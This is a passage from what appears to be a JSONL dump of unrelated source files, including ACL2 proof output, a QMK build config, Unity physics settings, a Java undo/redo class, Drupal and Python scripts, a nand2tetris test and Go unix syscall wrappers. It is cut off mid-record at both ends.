SET::IN-SET))\n (12 12\n (:REWRITE ACL2-NUMBERP-WHEN-MEMBER-EQUAL-OF-ACL2-NUMBER-LISTP))\n (8 8 (:REWRITE EQUAL-CONSTANT-+))\n (6 6\n (:TYPE-PRESCRIPTION TRUE-LISTP-MEMBER-EQUAL))\n (5 5 (:REWRITE DEFAULT-CDR))\n (5 5 (:META CANCEL_PLUS-LESSP-CORRECT))\n (4 4 (:TYPE-PRESCRIPTION TRUE-LISTP))\n (4 4 (:REWRITE CONSP-BY-LEN))\n (4 2\n (:REWRITE VL::MEMBER-EQUAL-WHEN-MEMBER-EQUAL-OF-CDR-UNDER-IFF))\n (2 2 (:REWRITE SUBSETP-MEMBER . 2))\n (2 2 (:REWRITE SUBSETP-MEMBER . 1))\n (2 2\n (:REWRITE MEMBER-EQUAL-WHEN-ALL-EQUALP)))\n(VL::VL-MATCH-CONTIGUOUS-INDICES-EXISTS-ON-SUCCESS\n (344 41 (:REWRITE VL::INTEGERP-WHEN-NATP))\n (172 15 (:REWRITE VL::NATP-WHEN-POSP))\n (82 82\n (:REWRITE INTEGERP-WHEN-MEMBER-EQUAL-OF-INTEGER-LISTP))\n (75 15 (:REWRITE SET::DOUBLE-CONTAINMENT))\n (71 71 (:TYPE-PRESCRIPTION NATP))\n (67 15 (:REWRITE POSP-RW))\n (67 15 (:REWRITE NATP-RW))\n (38 2\n (:REWRITE MAYBE-INTEGERP-WHEN-INTEGERP))\n (36 36 (:REWRITE DEFAULT-+-2))\n (36 36 (:REWRITE DEFAULT-+-1))\n (32 4\n (:REWRITE VL::VL-MAYBE-INTEGER-LISTP-WHEN-NOT-CONSP))\n (30 30 (:TYPE-PRESCRIPTION POSP))\n (30 30\n (:REWRITE VL::POSP-WHEN-MEMBER-EQUAL-OF-POS-LISTP))\n (30 30\n (:REWRITE VL::NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (30 30\n (:REWRITE NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (30 15 (:REWRITE NATP-POSP))\n (26 26\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-CONS-LISTP))\n (26 26\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-ATOM-LISTP))\n (24 24 (:TYPE-PRESCRIPTION SET::SETP-TYPE))\n (24 12 (:REWRITE SET::NONEMPTY-MEANS-SET))\n (18\n 4\n (:REWRITE VL::MAYBE-INTEGERP-WHEN-MEMBER-EQUAL-OF-VL-MAYBE-INTEGER-LISTP))\n (15 15 (:META CANCEL_TIMES-EQUAL-CORRECT))\n (15 15 (:META CANCEL_PLUS-EQUAL-CORRECT))\n (13 13 (:REWRITE DEFAULT-CAR))\n (13 13 (:REWRITE CAR-WHEN-ALL-EQUALP))\n (12 12 (:TYPE-PRESCRIPTION SET::EMPTY-TYPE))\n (12 12 (:REWRITE SET::IN-SET))\n (8 8 (:REWRITE EQUAL-CONSTANT-+))\n (6 6\n (:TYPE-PRESCRIPTION TRUE-LISTP-MEMBER-EQUAL))\n (5 5 (:REWRITE DEFAULT-CDR))\n (4 4 (:TYPE-PRESCRIPTION TRUE-LISTP))\n (4 4 (:REWRITE CONSP-BY-LEN))\n (4 2\n (:REWRITE VL::MEMBER-EQUAL-WHEN-MEMBER-EQUAL-OF-CDR-UNDER-IFF))\n (2 2 (:REWRITE SUBSETP-MEMBER . 2))\n (2 2 (:REWRITE SUBSETP-MEMBER . 1))\n (2 2\n (:REWRITE MEMBER-EQUAL-WHEN-ALL-EQUALP))\n (1 1\n (:LINEAR VL::VL-MATCH-CONTIGUOUS-INDICES-MONOTONIC-ON-SUCCESS)))\n(VL::VL-MERGED-INDEX-P)\n(STD::DEFLIST-LOCAL-BOOLEANP-ELEMENT-THM)\n(STD::DEFLIST-LOCAL-ELEMENTP-OF-NIL-THM)\n(VL::VL-MERGED-INDEX-LIST-P)\n(VL::VL-MERGED-INDEX-LIST-P-OF-CONS)\n(VL::VL-MERGED-INDEX-LIST-P-OF-CDR-WHEN-VL-MERGED-INDEX-LIST-P)\n(VL::VL-MERGED-INDEX-LIST-P-WHEN-NOT-CONSP)\n(VL::VL-MERGED-INDEX-P-OF-CAR-WHEN-VL-MERGED-INDEX-LIST-P)\n(VL::VL-MERGED-INDEX-LIST-P-OF-APPEND)\n(VL::VL-MERGED-INDEX-LIST-P-OF-LIST-FIX)\n(VL::VL-MERGED-INDEX-LIST-P-OF-SFIX)\n(VL::VL-MERGED-INDEX-LIST-P-OF-INSERT)\n(VL::VL-MERGED-INDEX-LIST-P-OF-DELETE)\n(VL::VL-MERGED-INDEX-LIST-P-OF-MERGESORT)\n(VL::VL-MERGED-INDEX-LIST-P-OF-UNION)\n(VL::VL-MERGED-INDEX-LIST-P-OF-INTERSECT-1)\n(VL::VL-MERGED-INDEX-LIST-P-OF-INTERSECT-2)\n(VL::VL-MERGED-INDEX-LIST-P-OF-DIFFERENCE)\n(VL::VL-MERGED-INDEX-LIST-P-OF-DUPLICATED-MEMBERS)\n(VL::VL-MERGED-INDEX-LIST-P-OF-REV)\n(VL::VL-MERGED-INDEX-LIST-P-OF-RCONS)\n(VL::VL-MERGED-INDEX-P-WHEN-MEMBER-EQUAL-OF-VL-MERGED-INDEX-LIST-P)\n(VL::VL-MERGED-INDEX-LIST-P-WHEN-SUBSETP-EQUAL)\n(VL::VL-MERGED-INDEX-LIST-P-SET-EQUIV-CONGRUENCE)\n(VL::VL-MERGED-INDEX-LIST-P-OF-SET-DIFFERENCE-EQUAL)\n(VL::VL-MERGED-INDEX-LIST-P-OF-INTERSECTION-EQUAL-1)\n(VL::VL-MERGED-INDEX-LIST-P-OF-INTERSECTION-EQUAL-2)\n(VL::VL-MERGED-INDEX-LIST-P-OF-UNION-EQUAL)\n(VL::VL-MERGED-INDEX-LIST-P-OF-TAKE)\n(VL::VL-MERGED-INDEX-LIST-P-OF-REPEAT)\n(VL::VL-MERGED-INDEX-P-OF-NTH-WHEN-VL-MERGED-INDEX-LIST-P)\n(VL::VL-MERGED-INDEX-LIST-P-OF-UPDATE-NTH)\n(VL::VL-MERGED-INDEX-LIST-P-OF-BUTLAST)\n(VL::VL-MERGED-INDEX-LIST-P-OF-NTHCDR)\n(VL::VL-MERGED-INDEX-LIST-P-OF-LAST)\n(VL::VL-MERGED-INDEX-LIST-P-OF-REMOVE)\n(VL::VL-MERGED-INDEX-LIST-P-OF-REVAPPEND)\n(VL::VL-MERGE-CONTIGUOUS-INDICES\n (160 1\n (:REWRITE LOWER-BOUND-OF-LEN-WHEN-SUBLISTP))\n (147 1 (:REWRITE SUBLISTP-WHEN-PREFIXP))\n (129 2 (:REWRITE PREFIXP-WHEN-EQUAL-LENGTHS))\n (102 18 (:REWRITE LEN-WHEN-ATOM))\n (40 40\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-CONS-LISTP))\n (40 40\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-ATOM-LISTP))\n (23 7 (:REWRITE SET::DOUBLE-CONTAINMENT))\n (16 16 (:TYPE-PRESCRIPTION TRUE-LISTP))\n (16 16 (:REWRITE CONSP-BY-LEN))\n (13 1 (:REWRITE LEN-WHEN-PREFIXP))\n (11 11 (:REWRITE DEFAULT-CAR))\n (11 11 (:REWRITE CAR-WHEN-ALL-EQUALP))\n (10 10 (:REWRITE DEFAULT-CDR))\n (10 10\n (:LINEAR LOWER-BOUND-OF-LEN-WHEN-SUBLISTP))\n (10 10\n (:LINEAR LISTPOS-UPPER-BOUND-STRONG-2))\n (10 10 (:LINEAR LEN-WHEN-PREFIXP))\n (9 2\n (:REWRITE PREFIXP-WHEN-NOT-CONSP-RIGHT))\n (8 1\n (:REWRITE VL::VL-MAYBE-INTEGER-LISTP-WHEN-NOT-CONSP))\n (8 1 (:REWRITE SUBLISTP-WHEN-ATOM-RIGHT))\n (7 7 (:REWRITE CONSP-OF-CDR-BY-LEN))\n (7 7 (:META CANCEL_TIMES-EQUAL-CORRECT))\n (7 7 (:META CANCEL_PLUS-EQUAL-CORRECT))\n (6 6 (:TYPE-PRESCRIPTION SET::SETP-TYPE))\n (6 3 (:REWRITE SET::NONEMPTY-MEANS-SET))\n (5 5 (:LINEAR LEQ-POSITION-EQUAL-LEN))\n (5 5 (:LINEAR INDEX-OF-<-LEN))\n (5 5\n (:LINEAR STR::COUNT-LEADING-CHARSET-LEN))\n (4 4 (:TYPE-PRESCRIPTION PREFIXP))\n (4 4\n (:REWRITE VL::PREFIXP-WHEN-MEMBER-EQUAL-OF-PREFIX-OF-EACHP))\n (4 2\n (:REWRITE VL::MEMBER-EQUAL-WHEN-MEMBER-EQUAL-OF-CDR-UNDER-IFF))\n (3 3 (:TYPE-PRESCRIPTION SET::EMPTY-TYPE))\n (3 3 (:REWRITE SET::IN-SET))\n (2 2 (:TYPE-PRESCRIPTION SUBLISTP))\n (2 2\n (:REWRITE VL::TRANSITIVITY-OF-PREFIXP))\n (2 2 (:REWRITE SUBSETP-TRANS2))\n (2 2 (:REWRITE SUBSETP-TRANS))\n (2 2\n (:REWRITE PREFIXP-WHEN-NOT-CONSP-LEFT))\n (2 2 (:REWRITE PREFIXP-TRANSITIVE . 2))\n (2 2 (:REWRITE PREFIXP-TRANSITIVE . 1))\n (2 2\n (:REWRITE PREFIXP-ONE-WAY-OR-ANOTHER . 2))\n (2 2\n (:REWRITE PREFIXP-ONE-WAY-OR-ANOTHER . 1))\n (2 2\n (:REWRITE MEMBER-EQUAL-WHEN-ALL-EQUALP))\n (2 1 (:REWRITE DEFAULT-<-2))\n (2 1 (:REWRITE DEFAULT-<-1))\n (1 1 (:REWRITE SUBLISTP-WHEN-ATOM-LEFT))\n (1 1 (:REWRITE SUBLISTP-COMPLETE))\n (1 1 (:META CANCEL_PLUS-LESSP-CORRECT))\n (1 1\n (:LINEAR VL::VL-MATCH-CONTIGUOUS-INDICES-MONOTONIC-ON-SUCCESS)))\n(VL::VL-MERGED-INDEX-LIST-P-OF-VL-MERGE-CONTIGUOUS-INDICES\n (1653 80 (:REWRITE VL::INTEGERP-WHEN-NATP))\n (693 21\n (:REWRITE VL::VL-MERGED-INDEX-LIST-P-WHEN-NOT-CONSP))\n (642 65\n (:REWRITE INTEGERP-OF-CAR-WHEN-INTEGER-LISTP))\n (586 30 (:REWRITE VL::NATP-WHEN-POSP))\n (570 6\n (:REWRITE RATIONALP-IMPLIES-ACL2-NUMBERP))\n (568 4 (:REWRITE DEFAULT-<-1))\n (528 23\n (:REWRITE VL::NATP-OF-CAR-WHEN-NAT-LISTP))\n (498 6\n (:REWRITE VL::RATIONALP-WHEN-INTEGERP))\n (416 236 (:REWRITE DEFAULT-CAR))\n (390 23\n (:REWRITE VL::INTEGER-LISTP-WHEN-NO-NILS-IN-VL-MAYBE-INTEGER-LISTP))\n (318 23\n (:REWRITE VL::NAT-LISTP-WHEN-NO-NILS-IN-VL-MAYBE-NAT-LISTP))\n (303 53 (:REWRITE SET::DOUBLE-CONTAINMENT))\n (288 288\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-CONS-LISTP))\n (288 288\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-ATOM-LISTP))\n (275 65\n (:REWRITE INTEGERP-OF-CAR-WHEN-NAT-LISTP))\n (236 236 (:REWRITE CAR-WHEN-ALL-EQUALP))\n (230 132 (:REWRITE DEFAULT-CDR))\n (210 23\n (:REWRITE VL::POSP-OF-CAR-WHEN-POS-LISTP))\n (166 30 (:REWRITE POSP-RW))\n (166 30 (:REWRITE NATP-RW))\n (161 23\n (:REWRITE NATP-OF-CAR-WHEN-NAT-LISTP))\n (160 160\n (:REWRITE INTEGERP-WHEN-MEMBER-EQUAL-OF-INTEGER-LISTP))\n (156 52 (:REWRITE CONSP-OF-CAR-WHEN-ALISTP))\n (152 53\n (:REWRITE VL::MEMBER-EQUAL-WHEN-MEMBER-EQUAL-OF-CDR-UNDER-IFF))\n (144 18\n (:REWRITE VL::VL-MAYBE-INTEGER-LISTP-WHEN-NOT-CONSP))\n (138 138 (:TYPE-PRESCRIPTION NATP))\n (120 120 (:TYPE-PRESCRIPTION TRUE-LISTP))\n (118 46 (:REWRITE NAT-LISTP-WHEN-NOT-CONSP))\n (118 46 (:REWRITE MEMBER-WHEN-ATOM))\n (104 52\n (:REWRITE CONSP-OF-CAR-WHEN-CONS-LISTP))\n (104 52\n (:REWRITE CONSP-OF-CAR-WHEN-ATOM-LISTP))\n (100 100 (:TYPE-PRESCRIPTION SET::SETP-TYPE))\n (100 50 (:REWRITE SET::NONEMPTY-MEANS-SET))\n (97 2 (:REWRITE SUBSETP-OF-CONS))\n (95 23\n (:REWRITE VL::POS-LISTP-WHEN-NOT-CONSP))\n (95 23\n (:REWRITE VL::NAT-LISTP-WHEN-NOT-CONSP))\n (95 23\n (:REWRITE INTEGER-LISTP-WHEN-NOT-CONSP))\n (92 92\n (:REWRITE NAT-LISTP-WHEN-SUBSETP-EQUAL))\n (78 78 (:REWRITE CONSP-BY-LEN))\n (76 4 (:REWRITE DEFAULT-<-2))\n (60 60 (:TYPE-PRESCRIPTION POSP))\n (60 60\n (:REWRITE VL::POSP-WHEN-MEMBER-EQUAL-OF-POS-LISTP))\n (60 60\n (:REWRITE VL::NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (60 60\n (:REWRITE NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (60 30 (:REWRITE NATP-POSP))\n (54 3\n (:REWRITE RATIONALP-OF-CAR-WHEN-RATIONAL-LISTP))\n (54 3\n (:REWRITE ACL2-NUMBERP-OF-CAR-WHEN-ACL2-NUMBER-LISTP))\n (53 53\n (:REWRITE MEMBER-EQUAL-WHEN-ALL-EQUALP))\n (53 53 (:META CANCEL_TIMES-EQUAL-CORRECT))\n (53 53 (:META CANCEL_PLUS-EQUAL-CORRECT))\n (52 52 (:REWRITE SUBSETP-MEMBER . 2))\n (52 52 (:REWRITE SUBSETP-MEMBER . 1))\n (52 13\n (:REWRITE ALISTP-WHEN-HONS-DUPLICITY-ALIST-P))\n (50 50 (:TYPE-PRESCRIPTION SET::EMPTY-TYPE))\n (50 50 (:REWRITE SET::IN-SET))\n (46 46 (:REWRITE SUBSETP-MEMBER . 4))\n (46 46 (:REWRITE SUBSETP-MEMBER . 3))\n (46 46\n (:REWRITE VL::POS-LISTP-WHEN-SUBSETP-EQUAL))\n (46 46\n (:REWRITE NAT-LISTP-WHEN-UNSIGNED-BYTE-LISTP))\n (46 46\n (:REWRITE VL::NAT-LISTP-WHEN-SUBSETP-EQUAL))\n (46 46\n (:REWRITE INTEGER-LISTP-WHEN-SUBSETP-EQUAL))\n (46 46 (:REWRITE FN-CHECK-DEF-FORMALS))\n (42 42\n (:TYPE-PRESCRIPTION CONSP-MEMBER-EQUAL))\n (39 3\n (:REWRITE RATIONAL-LISTP-WHEN-NOT-CONSP))\n (39 3\n (:REWRITE ACL2-NUMBER-LISTP-WHEN-NOT-CONSP))\n (38 2 (:REWRITE SUBSETP-WHEN-ATOM-RIGHT))\n (26 26\n (:TYPE-PRESCRIPTION HONS-DUPLICITY-ALIST-P))\n (26 26 (:TYPE-PRESCRIPTION ALISTP))\n (21 4\n (:REWRITE\n VL::VL-MERGED-INDEX-P-WHEN-MEMBER-EQUAL-OF-VL-MERGED-INDEX-LIST-P))\n (14 14\n (:LINEAR VL::VL-MATCH-CONTIGUOUS-INDICES-MONOTONIC-ON-SUCCESS))\n (13 13\n (:REWRITE HONS-DUPLICITY-ALIST-P-WHEN-NOT-CONSP))\n (13 13 (:REWRITE ALISTP-WHEN-ATOM))\n (13 13\n (:REWRITE VL::ALISTP-WHEN-ALL-HAVE-LEN))\n (12 12\n (:REWRITE RATIONALP-WHEN-MEMBER-EQUAL-OF-RATIONAL-LISTP))\n (12 12\n (:REWRITE ACL2-NUMBERP-WHEN-MEMBER-EQUAL-OF-ACL2-NUMBER-LISTP))\n (12 1\n (:REWRITE VL::VL-MERGED-INDEX-P-OF-CAR-WHEN-VL-MERGED-INDEX-LIST-P))\n (9 9 (:REWRITE SUBSETP-TRANS2))\n (9 9 (:REWRITE SUBSETP-TRANS))\n (6 6\n (:REWRITE RATIONAL-LISTP-WHEN-SUBSETP-EQUAL))\n (6 6\n (:REWRITE ACL2-NUMBER-LISTP-WHEN-SUBSETP-EQUAL))\n (4 4 (:META CANCEL_PLUS-LESSP-CORRECT))\n (2 2 (:REWRITE SUBSETP-WHEN-ATOM-LEFT)))\n"} +{"text": "# Build Options\n# change to \"no\" to disable the options, or define them in the Makefile in\n# the appropriate keymap folder that will get included automatically\n#\nBOOTMAGIC_ENABLE = no # Virtual DIP switch configuration(+1000)\nMOUSEKEY_ENABLE = no # Mouse keys(+4700)\nEXTRAKEY_ENABLE = yes # Audio control and System control(+450)\nCONSOLE_ENABLE = no # Console for debug(+400)\nCOMMAND_ENABLE = no # Commands for debug and configuration\nNKRO_ENABLE = no # Nkey Rollover - if this doesn't work, see here: https://github.com/tmk/tmk_keyboard/wiki/FAQ#nkro-doesnt-work\nBACKLIGHT_ENABLE = no # Enable keyboard backlight functionality\nMIDI_ENABLE = no # MIDI controls\nAUDIO_ENABLE = no # Audio output on port C6\nUNICODE_ENABLE = no # Unicode\nBLUETOOTH_ENABLE = no # Enable Bluetooth with the Adafruit EZ-Key HID\nRGBLIGHT_ENABLE = no # Enable WS2812 RGB underlight. Do not enable this with audio at the same time.\nTAP_DANCE_ENABLE=yes # Enable Tap Dance\n\n# Do not enable SLEEP_LED_ENABLE. it uses the same timer as BACKLIGHT_ENABLE\nSLEEP_LED_ENABLE = no # Breathing sleep LED during USB suspend\n"} +{"text": "--HAML--\n==test\n--EXPECT--\nroot(\n interpolated(text(test))\n)\n\n"} +{"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!19 &1\nPhysics2DSettings:\n m_ObjectHideFlags: 0\n serializedVersion: 4\n m_Gravity: {x: 0, y: -9.81}\n m_DefaultMaterial: {fileID: 0}\n m_VelocityIterations: 8\n m_PositionIterations: 3\n m_VelocityThreshold: 1\n m_MaxLinearCorrection: 0.2\n m_MaxAngularCorrection: 8\n m_MaxTranslationSpeed: 100\n m_MaxRotationSpeed: 360\n m_BaumgarteScale: 0.2\n m_BaumgarteTimeOfImpactScale: 0.75\n m_TimeToSleep: 0.5\n m_LinearSleepTolerance: 0.01\n m_AngularSleepTolerance: 2\n m_DefaultContactOffset: 0.01\n m_JobOptions:\n serializedVersion: 2\n useMultithreading: 0\n useConsistencySorting: 0\n m_InterpolationPosesPerJob: 100\n m_NewContactsPerJob: 30\n m_CollideContactsPerJob: 100\n m_ClearFlagsPerJob: 200\n m_ClearBodyForcesPerJob: 200\n m_SyncDiscreteFixturesPerJob: 50\n m_SyncContinuousFixturesPerJob: 50\n m_FindNearestContactsPerJob: 100\n m_UpdateTriggerContactsPerJob: 100\n m_IslandSolverCostThreshold: 100\n m_IslandSolverBodyCostScale: 1\n m_IslandSolverContactCostScale: 10\n m_IslandSolverJointCostScale: 10\n m_IslandSolverBodiesPerJob: 50\n m_IslandSolverContactsPerJob: 50\n m_AutoSimulation: 1\n m_QueriesHitTriggers: 1\n m_QueriesStartInColliders: 1\n m_CallbacksOnDisable: 1\n m_ReuseCollisionCallbacks: 1\n m_AutoSyncTransforms: 0\n m_AlwaysShowColliders: 0\n m_ShowColliderSleep: 1\n m_ShowColliderContacts: 0\n m_ShowColliderAABB: 0\n m_ContactArrowScale: 0.2\n m_ColliderAwakeColor: {r: 0.5686275, g: 0.95686275, b: 0.54509807, a: 0.7529412}\n m_ColliderAsleepColor: {r: 0.5686275, g: 0.95686275, b: 0.54509807, a: 0.36078432}\n m_ColliderContactColor: {r: 1, g: 0, b: 1, a: 0.6862745}\n m_ColliderAABBColor: {r: 1, g: 1, b: 0, a: 0.2509804}\n m_LayerCollisionMatrix: ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"} +{"text": "02b9f7499c4166e76d3a64326bbbe92dc02f0e07dc184f94995da61683c311cb0f\n"} +{"text": "\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\nreturn require __DIR__.'/hu.php';\n"} +{"text": "package info.izumin.android.droidux;\n\nimport java.util.ArrayDeque;\nimport java.util.Deque;\n\n/**\n * Created by izumin on 11/23/15.\n */\npublic class History> {\n public static final String TAG = History.class.getSimpleName();\n\n private static final int DEFAULT_LIMIT = 100;\n\n private final Deque past;\n private final Deque future;\n private T present;\n\n private int limit = DEFAULT_LIMIT;\n\n public History(T initialState) {\n past = new ArrayDeque<>();\n future = new ArrayDeque<>();\n present = initialState;\n }\n\n public T getPresent() {\n return present;\n }\n\n public void insert(T state) {\n past.addFirst(present);\n if (past.size() > limit) {\n past.removeLast();\n }\n future.clear();\n present = state;\n }\n\n public T undo() {\n if (isUndoable()) {\n future.addFirst(present);\n present = past.removeFirst();\n }\n return present;\n }\n\n public T redo() {\n if (isRedoable()) {\n past.addFirst(present);\n present = future.removeFirst();\n }\n return present;\n }\n\n public boolean isUndoable() {\n return past.size() > 0;\n }\n\n public boolean isRedoable() {\n return future.size() > 0;\n }\n\n public void setLimit(int limit) {\n this.limit = limit;\n while (past.size() > limit) { past.removeLast(); }\n while (future.size() > limit) { future.removeLast(); }\n }\n}\n"} +{"text": " array(\n 'left_field' => 'id',\n 'field' => 'id',\n ),\n );\n\n // Sensor reading name.\n $data['farm_sensor']['type'] = array(\n 'title' => t('Sensor type'),\n 'help' => t('Type of sensor.'),\n 'field' => array(\n 'handler' => 'views_handler_field',\n 'click sortable' => TRUE,\n ),\n 'sort' => array(\n 'handler' => 'views_handler_sort',\n ),\n 'filter' => array(\n 'handler' => 'views_handler_filter_string',\n ),\n 'argument' => array(\n 'handler' => 'views_handler_argument_string',\n ),\n );\n\n return $data;\n}\n"} +{"text": "'Converts list of PDB enzymes in a text file'\n\n# Authors: Afshine Amidi \n# Shervine Amidi \n\n# MIT License\n\nimport pandas as pa\nimport csv\nfrom enzynet.tools import read_dict\n\n\n# Read csv files\ndf = pa.read_csv('../dataset_all.csv', header=None)\n\n# Only keep PDB IDs\ndf = df[0]+', '\ndf = df.tolist()\n\n# Save to text file with one PDB ID per line\nfile = open('../download_pdb.txt','w')\nfor i in range(len(df)):\n file.write(df[i])\nfile.close()\n"} +{"text": "## [Point-Free](https://www.pointfree.co)\n\n> #### This directory contains code from Point-Free Episode: [Adaptive State Management: State](https://www.pointfree.co/episodes/ep96-adaptive-state-management-actions)\n>\n> When we fixed a performance problem in the Composable Architecture it gave us an opportunity to adapt the state of our application to many situations. We'll take these learnings to see how our application's actions may adapt as well.\n"} +{"text": "// This file is part of www.nand2tetris.org\r\n// and the book \"The Elements of Computing Systems\"\r\n// by Nisan and Schocken, MIT Press.\r\n// File name: projects/02/Add16.tst\r\n\r\nload Add16.hdl,\r\noutput-file Add16.out,\r\ncompare-to Add16.cmp,\r\noutput-list a%B1.16.1 b%B1.16.1 out%B1.16.1;\r\n\r\nset a %B0000000000000000,\r\nset b %B0000000000000000,\r\neval,\r\noutput;\r\n\r\nset a %B0000000000000000,\r\nset b %B1111111111111111,\r\neval,\r\noutput;\r\n\r\nset a %B1111111111111111,\r\nset b %B1111111111111111,\r\neval,\r\noutput;\r\n\r\nset a %B1010101010101010,\r\nset b %B0101010101010101,\r\neval,\r\noutput;\r\n\r\nset a %B0011110011000011,\r\nset b %B0000111111110000,\r\neval,\r\noutput;\r\n\r\nset a %B0001001000110100,\r\nset b %B1001100001110110,\r\neval,\r\noutput;\r\n"} +{"text": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build amd64,linux\n\npackage unix\n\nimport \"syscall\"\n\n//sys\tDup2(oldfd int, newfd int) (err error)\n//sys\tEpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)\n//sys\tFadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64\n//sys\tFchown(fd int, uid int, gid int) (err error)\n//sys\tFstat(fd int, stat *Stat_t) (err error)\n//sys\tFstatfs(fd int, buf *Statfs_t) (err error)\n//sys\tFtruncate(fd int, length int64) (err error)\n//sysnb\tGetegid() (egid int)\n//sysnb\tGeteuid() (euid int)\n//sysnb\tGetgid() (gid int)\n//sysnb\tGetrlimit(resource int, rlim *Rlimit) (err error)\n//sysnb\tGetuid() (uid int)\n//sysnb\tInotifyInit() (fd int, err error)\n//sys\tIoperm(from int, num int, on int) (err error)\n//sys\tIopl(level int) (err error)\n//sys\tLchown(path string, uid int, gid int) (err error)\n//sys\tListen(s int, n int) (err error)\n//sys\tLstat(path string, stat *Stat_t) (err error)\n//sys\tPause() (err error)\n//sys\tPread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64\n//sys\tPwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64\n//sys\tSeek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK\n//sys\tSelect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)\n//sys\tsendfile(outfd int, infd int, offset *int64, count int) (written int, err error)\n//sys\tSetfsgid(gid int) (err error)\n//sys\tSetfsuid(uid int) (err error)\n//sysnb\tSetregid(rgid int, egid int) (err error)\n//sysnb\tSetresgid(rgid int, egid int, sgid int) (err error)\n//sysnb\tSetresuid(ruid int, euid int, suid int) (err error)\n//sysnb\tSetrlimit(resource int, rlim *Rlimit) (err error)\n//sysnb\tSetreuid(ruid int, euid int) (err error)\n//sys\tShutdown(fd int, how int) (err error)\n//sys\tSplice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)\n//sys\tStat(path string, stat *Stat_t) (err error)\n//sys\tStatfs(path string, buf *Statfs_t) (err error)\n//sys\tSyncFileRange(fd int, off int64, n int64, flags int) (err error)\n//sys\tTruncate(path string, length int64) (err error)\n//sys\taccept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)\n//sys\taccept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)\n//sys\tbind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)\n//sys\tconnect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)\n//sysnb\tgetgroups(n int, list *_Gid_t) (nn int, err error)\n//sysnb\tsetgroups(n int, list *_Gid_t) (err error)\n//sys\tgetsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error)\n//sys\tsetsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error)\n//sysnb\tsocket(domain int, typ int, proto int) (fd int, err error)\n//sysnb\tsocketpair(domain int, typ int, proto int, fd *[2]int32) (err error)\n//sysnb\tgetpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)\n//sysnb\tgetsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)\n//sys\trecvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error)\n//sys\tsendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)\n//sys\trecvmsg(s int, msg *Msghdr, flags int) (n int, err error)\n//sys\tsendmsg(s int, msg *Msghdr, flags int) (n int, err error)\n//sys\tmmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)\n\n//go:noescape\nfunc gettimeofday(tv *Timeval) (err syscall.Errno)\n\nfunc Gettimeofday(tv *Timeval) (err error) {\n\terrno := gettimeofday(tv)\n\tif errno != 0 {\n\t\treturn errno\n\t}\n\treturn nil\n}\n\nfunc Getpagesize() int { return 4096 }\n\nfunc Time(t *Time_t) (tt Time_t, err error) {\n\tvar tv Timeval\n\terrno := gettimeofday(&tv)\n\tif errno != 0 {\n\t\treturn 0, errno\n\t}\n\tif t != nil {\n\t\t*t = Time_t(tv.Sec)\n\t}\n\treturn Time_t(tv.Sec), nil\n}\n\n//sys\tUtime(path string, buf *Utimbuf) (err error)\n\nfunc TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }\n\nfunc NsecToTimespec(nsec int64) (ts Timespec) {\n\tts.Sec = nsec / 1e9\n\tts.Nsec = nsec % 1e9\n\treturn\n}\n\nfunc NsecToTimeval(nsec int64) (tv Timeval) {\n\tnsec += 999 // round up to microsecond\n\ttv.Sec = nsec / 1e9\n\ttv.Usec = nsec % 1e9 / 1e3\n\treturn\n}\n\n//sysnb\tpipe(p *[2]_C_int) (err error)\n\nfunc Pipe(p []int) (err error) {\n\tif len(p) != 2 {\n\t\treturn EINVAL\n\t}\n\tvar pp [2]_C_int\n\terr = pipe(&pp)\n\tp[0] = int(pp[0])\n\tp[1] = int(pp[1])\n\treturn\n}\n\n//sysnb pipe2(p *[2]_C_int, flags int) (err error)\n\nfunc Pipe2(p []int, flags int) (err error) {\n\tif len(p) != 2 {\n\t\treturn EINVAL\n\t}\n\tvar pp [2]_C_int\n\terr = pipe2(&pp, flags)\n\tp[0] = int(pp[0])\n\tp[1] = int(pp[1])\n\treturn\n}\n\nfunc (r *PtraceRegs) PC() uint64 { return r.Rip }\n\nfunc (r *PtraceRegs) SetPC(pc uint64) { r.Rip = pc }\n\nfunc (iov *Iovec) SetLen(length int) {\n\tiov.Len = uint64(length)\n}\n\nfunc (msghdr *Msghdr) SetControllen(length int) {\n\tmsghdr.Controllen = uint64(length)\n}\n\nfunc (cmsg *Cmsghdr) SetLen(length int) {\n\tcmsg.Len = 